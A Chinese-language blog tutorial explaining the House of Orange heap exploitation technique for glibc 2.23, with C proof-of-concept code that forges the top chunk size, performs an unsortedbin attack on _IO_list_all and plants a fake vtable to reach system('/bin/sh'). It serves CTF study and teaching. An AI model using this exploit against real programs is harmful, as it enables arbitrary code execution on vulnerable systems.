house of orange:一种不需要free的堆利用方式

IO_FILE知识

[toc]

House of orange(glibc 2.23)🍊

前言

一句话描述该漏洞:将top chunk置入unsortedbin并打unsortedbin attack_IO_list_all写入main_arena+88,将该chunk置入smallbin,使其_IO_list_all_chain刚好指向该chunk,便可劫持vtable来触发FSOP

先看一下总体流程:

  • 通过漏洞修改top chunksize,使得系统以brk的方式来扩展空间,此时top chunk会被置入到unsorted bin中去
  • 利用unsortedbin attack,将_IO_list_all指针的值改写为unsortedbin的头chunk地址,即main_arena+88
  • 通过再次修改该unsorted chunksize0x61,使其被置入smallbin[4]中,如此以来main_arena+88+0x68(也就是_IO_list_all_chain)将指向这个chunk
  • 再次malloc的时候由于unsortedbin中指针被修改,因此会触发调用链malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()。而最终调用的函数实际上是调用了_IO_FILE_plus.vtable中的_IO_OVERFLOW函数,函数原型为_IO_OVERFLOW(fp, EOF)。通过上面的chunk覆盖函数指针,将_IO_FILE结构体0字节偏移处的fp写为/bin/sh,即可获得shell

以上就是House of orange的简要流程,整个流程在我第一次见的时候是相当震撼的,因此只能慢慢嚼碎再咽下去。

0x00: 将top chunk置入unsortedbin

需要利用的漏洞:控制top chunksize

当程序调用malloc时,系统会以此检查fastbinsmall binsunsorted binlarge bins是否满足分配要求。若都不满足,那么_init_malloc函数会试图使用top chunk。若top_chunk也不满足分配要求,那么ptmalloc将会执行sysmalloc来申请更多的空间。此时有两种分配方式,一种是brk,而另一种是mmap。我们需要让sysmallocbrk的方式扩展内存,因为brk方式扩展内存后,会将原有的top chunk置入到unsorted bin中。到这里,我们已经明白如何让top chunk被置入到unsortedbin:一是top chunk不满足分配要求,二是让系统以brk方式扩展内存。要满足这些条件,我们要使得:

  • 伪造的top chunksize对齐到内存页(自己计算,要使得其top chunk addr+size对齐0x1000
  • size大于MINSIZE(0X10)
  • top chunk size小于之后申请的chunk size + MINSIZE(使其使用brk扩展)
  • top chunk sizeprev_inuse位为1
  • 申请的内存小于mmap阈值,即0x20000

满足上述条件后我们即可以在malloc一个chunk的时候将top chunk置入到unsorted bin中,这段代码如下:

1
2
3
4
5
6
char* p1 = malloc(0x400-0x10); // 先申请一个大小为0x400的chunk,它的下一个chunk即为top chunk

size_t* top = (size_t *) ( (char *) p1 + 0x400 - 0x10); // 获得top chunk,也就是p1的用户地址加上0x400-0x10
top[1] = 0xc01; // 修改top chunk的size为0xc01,使其能够对齐0x1000,且小于接下来申请的一个不大于0x20000的请求

char* p2 = malloc(0x1000); // 申请一个大于top chunk size的内存空间,将会使用brk申请空间,同时使得top chunk被置入unsortedbin

运行这段代码后,效果如下,其中第一个chunk是申请的大小为0x400chunk,第二个是已经位于unsorted bin中的以前的top chunk,另外两个chunk是在这个过程中产生的chunk,暂时不清楚原因。

image-20231109151427847

bins中如下:

image-20231109151602936

0X01: 使用Unsortedbin attack改写_IO_list_all指针

需要利用的漏洞:unsortedbin attack,需要你能够控制刚刚的top chunkbk指针

由于最开始的top chunk已经位于unsortedbin中,我们可由其fdbk泄露出libc,也就可以获得libc具有固定偏移的io_list_all的地址。我们将top chunkbk写为_IO_list_all-0x10,在下一次malloc时便将会触发unsortedbin attack,往_IO_list_all中写入main_arena+88。我们知道_IO_list_all本来是指向_IO_2_1_stderr_的,即指向一个_IO_FILE_plus结构,那么main_arena+88地址开始处也会被当做一个_IO_FILE_plus结构体。然而,此处空间我们并不是可控的,该怎么办呢?先不管,我们先看这一段的代码:

1
2
3
4
// 由于top chunk位于unsortedbin,我们知道此时chunk的fd和bk都会指向libc固定偏移main_arena+88
io_list_all = top[2] + 0x9a8; // 由此也可以获得libc固定偏移的io_list_all的地址

top[3] = io_list_all - 0x10; // 将top chunk的bk写为io_list_all-0x10,触发unsortedbin attack

0x02: 将top chunk置入smallbin使得_chain指向该chunk

需要利用的漏洞:仍然是控制top chunk即可

根据上面的问题,很显然,我们需要能够控制_IO_FILE_plus结构体的空间才可以继续。目前我们已经使得_IO_list_all指向了main_arena+88,那么main_arena+88处的地址空间将会被当做一个IO_FILE_plus结构体,而该结构体里面含有一个_chain域即_IO_FILE_plus.file._chain,它指向下一个IO_FILE_plus结构。若我们能够控制该_chain指向一个我们可以控制的chunk,这样一来当前的IO_FILE_plus指向的下一个IO_FILE_plus就完全受我们控制了。此时问题就回到,如何控制该_chain_chain_IO_FILE_plus结构体中的偏移为0x68,即main_arena+88+0x68,即main_arena+192。实际上,main_arena附近的内存空间相对复杂,笔者通过mallopt(M_MXFAST,0)的方式禁用fastbin,得到如下结果:

image-20231109183045439

从图上可以看到,main_arena+192指向的区域是大小为0x60smallbin中的最后一个chunk,也就是smallbin(0x60)->bk。那么,接下来我们就将top chunk挂入大小为0x60smallbin,挂入后_IO_FILE_plus_chain就将指向这个top chunk,也就是top chunk会成为下一个_IO_FILE_plus。此外,最终我们执行的代码是_IO_OVERFLOW(fp, EOF),而其中的fp实际上也就是top chunk的地址,因此若我们在top chunk的地址处写下/bin/sh\x00,那么相当于执行了_IO_OVERFLOW('/bin/sh\x00'),覆盖函数指针后就是system('/bin/sh\x00')

这部分的代码如下:

1
2
3
4
5
memcpy( ( char *) top, "/bin/sh\x00", 8); // 最终执行的_IO_OVERFLOW(fp, EOF)中的fp实际上是_IO_FILE_plus结构体的地址,对应top chunk的地址
// 因此直接往top chunk地址处写/bin/sh\x00

top[1] = 0x61; // 更改top chunk的size为0x61,在触发unsortedbin attack后,还会将其挂入大小为0x60的smallbin
// 这是因为main_arena + 192是指向大小为0x60的smallbin的最后一个chunk的,如此以来第一个_IO_FILE_plus的_chain指向top chunk

0x03: 满足利用条件,触发FSOP调用链获得shell

需要利用的漏洞:控制top chunk即可

有的读者可能注意到我们将top chunk置入unsortedbin后,一直没有调用malloc来触发unsortedbin attack,也没有将top chunk置入small bin中。实际上在最后调用malloc时,这个申请内存的操作会先后触发unsortedbin attack,然后将其置入small bin;并且由于unsortedbin attack时已经破坏了其链表结构,因此会触发malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()函数的调用链。因此,在malloc之前,我们需要检查剩下的安全机制,来保证我们的攻击可以成功。在_IO_flush_all_lockp()函数中,要满足要求fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base。因此,可以设置如下条件:

  • fp->_mode=0,其中_mode对于起始位置的偏移是0xc0
  • fp->_IO_write_base = (char*)2;,其中_IO_write_base偏移为0x20
  • fp->_IO_wirte_ptr = (char*)3;,其中_IO_write_ptr偏移为0x28

满足以上条件后,我们便可以覆盖掉_IO_new_file_overflow函数的函数指针了。vtable中的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

这里我们需要覆盖overflow函数,也就是vtable[3]。而另外vtable相对于_IO_FILE_plus起始地址处的偏移是0xd8top chunkIO_FILE_plus结构体中的vtable是可以任意构造值的,我们将其设置到top chunk处的任意地方即可,只需要注意fake_vtable->overflow处不要被占用。这部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
// 将top chunk解释为一个FILE结构体
FILE *fp = (FILE *) top;
// 满足函数调用链中的_IO_flush_all_lockp()函数的要求
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[20]; // 我们将top chunk的vtable指向自身的某个地方,随意
jump_table[3] = (size_t) &winner; // top chunk的vtable的第[3]个函数也就是overflow,将其函数指针设置为winner
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top chunk的vtable指向刚刚设置的fake vtable

malloc(10); // 最终进行一次malloc,来完成unsortedbin attack开始的所有流程

其中winner函数就是咱们的后门函数。

1
2
3
4
5
6
int winner(char *ptr)
{
system(ptr); // 按照上面的步骤会传入一个/bin/sh
syscall(SYS_exit, 0);
return 0;
}

2024年补充

有时候还是不能太死板。例如,今天做到一道house of orange,能够delete一次,但是申请chunk大小在0xf0-0x3f0之间,这就导致最后难以通过malloc一个小chunk来触发漏洞。

最终想了一会,只需要将chunk大小改为0x61的时候,再通过其打一个unsortedbin attack即可!

参考链接:

ha1vik师傅

House_of_orange学习小结

借助gdb调试glibc代码学习House of Orange - 简书 (jianshu.com)


house of orange:一种不需要free的堆利用方式
http://example.com/2023/11/09/system/IO_FILE/House_of_Orange/
作者
Ltfall
发布于
2023年11月9日
许可协议